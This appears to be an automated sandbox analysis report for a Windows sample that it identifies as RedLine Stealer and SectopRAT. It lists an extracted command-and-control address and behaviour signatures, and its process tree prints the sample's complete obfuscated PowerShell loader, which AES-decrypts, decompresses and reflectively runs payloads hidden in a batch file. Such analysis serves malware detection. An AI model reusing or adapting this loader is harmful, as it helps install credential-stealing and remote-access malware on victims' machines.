Analysis
- max time kernel
91s - max time network
202s - platform
windows11-21h2_x64 - resource
win11-20240419-en - resource tags
- submitted
05/05/2024, 18:01
General
- Target build.exe
- Size 351KB
- Sample240505-wlx2dabg97
- SHA256 18c790568c6e0e30d600135a33a9e41ff55e076600fec006772d95849abc4def
Malware Config
Extracted
-
redline
-
cheat
-
ii-restored.gl.at.ply.gg:43416
Signatures
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 1 IoCs
- SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
- SectopRAT payload 1 IoCs
- Blocklisted process makes network request 6 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Adds Run key to start application 2 TTPs 1 IoCs
- Program crash 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\build.exe"C:\Users\Admin\AppData\Local\Temp\build.exe"1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c "build.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('imoYPv8IKhFzZbUQGc9tLwtVTdE/LpsrhzYrOXefWdo='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g+kpXPmwAsGMTyt1EM/xyw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tjyzH=New-Object System.IO.MemoryStream(,$param_var); $xDXZb=New-Object System.IO.MemoryStream; $QPesd=New-Object System.IO.Compression.GZipStream($tjyzH, [IO.Compression.CompressionMode]::Decompress); $QPesd.CopyTo($xDXZb); $QPesd.Dispose(); $tjyzH.Dispose(); $xDXZb.Dispose(); $xDXZb.ToArray();}function execute_function($param_var,$param2_var){ $hVNQH=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uKjxO=$hVNQH.EntryPoint; $uKjxO.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat';$rMjrX=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\build.bat').Split([Environment]::NewLine);foreach ($NJxiO in $rMjrX) { if ($NJxiO.StartsWith(':: ')) { $kXTzm=$NJxiO.Substring(3); break; }}$payloads_var=[string[]]$kXTzm.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 27964⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 1800 -ip 18001⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
build.bat
__PSScriptPolicyTest_2tmkp4tv.umz.ps1
memory/1800-23-0x0000000006A00000-0x0000000006A1A000-memory.dmp
memory/1800-34-0x0000000074E10000-0x00000000755C1000-memory.dmp
memory/1800-6-0x0000000074E10000-0x00000000755C1000-memory.dmp
memory/1800-7-0x0000000005790000-0x00000000057B2000-memory.dmp
memory/1800-8-0x0000000074E10000-0x00000000755C1000-memory.dmp
memory/1800-10-0x0000000005910000-0x0000000005976000-memory.dmp
memory/1800-9-0x0000000005830000-0x0000000005896000-memory.dmp
memory/1800-4-0x0000000003070000-0x00000000030A6000-memory.dmp
memory/1800-19-0x0000000006020000-0x0000000006377000-memory.dmp
memory/1800-20-0x0000000006420000-0x000000000643E000-memory.dmp
memory/1800-21-0x00000000064D0000-0x000000000651C000-memory.dmp
memory/1800-22-0x0000000007A70000-0x00000000080EA000-memory.dmp
memory/1800-5-0x00000000059F0000-0x000000000601A000-memory.dmp
memory/1800-3-0x0000000074E1E000-0x0000000074E1F000-memory.dmp
memory/1800-29-0x00000000078E0000-0x000000000791C000-memory.dmp
memory/1800-26-0x00000000077A0000-0x00000000077BE000-memory.dmp
memory/1800-27-0x0000000008710000-0x0000000008D28000-memory.dmp
memory/1800-28-0x0000000007880000-0x0000000007892000-memory.dmp
memory/1800-25-0x0000000007400000-0x0000000007436000-memory.dmp
memory/1800-30-0x0000000008200000-0x000000000830A000-memory.dmp
memory/1800-32-0x0000000074E1E000-0x0000000074E1F000-memory.dmp
memory/1800-33-0x0000000074E10000-0x00000000755C1000-memory.dmp
memory/1800-24-0x00000000073F0000-0x00000000073F8000-memory.dmp
memory/1800-35-0x0000000008D30000-0x0000000008EF2000-memory.dmp
memory/1800-36-0x0000000009430000-0x000000000995C000-memory.dmp
memory/1800-37-0x0000000074E10000-0x00000000755C1000-memory.dmp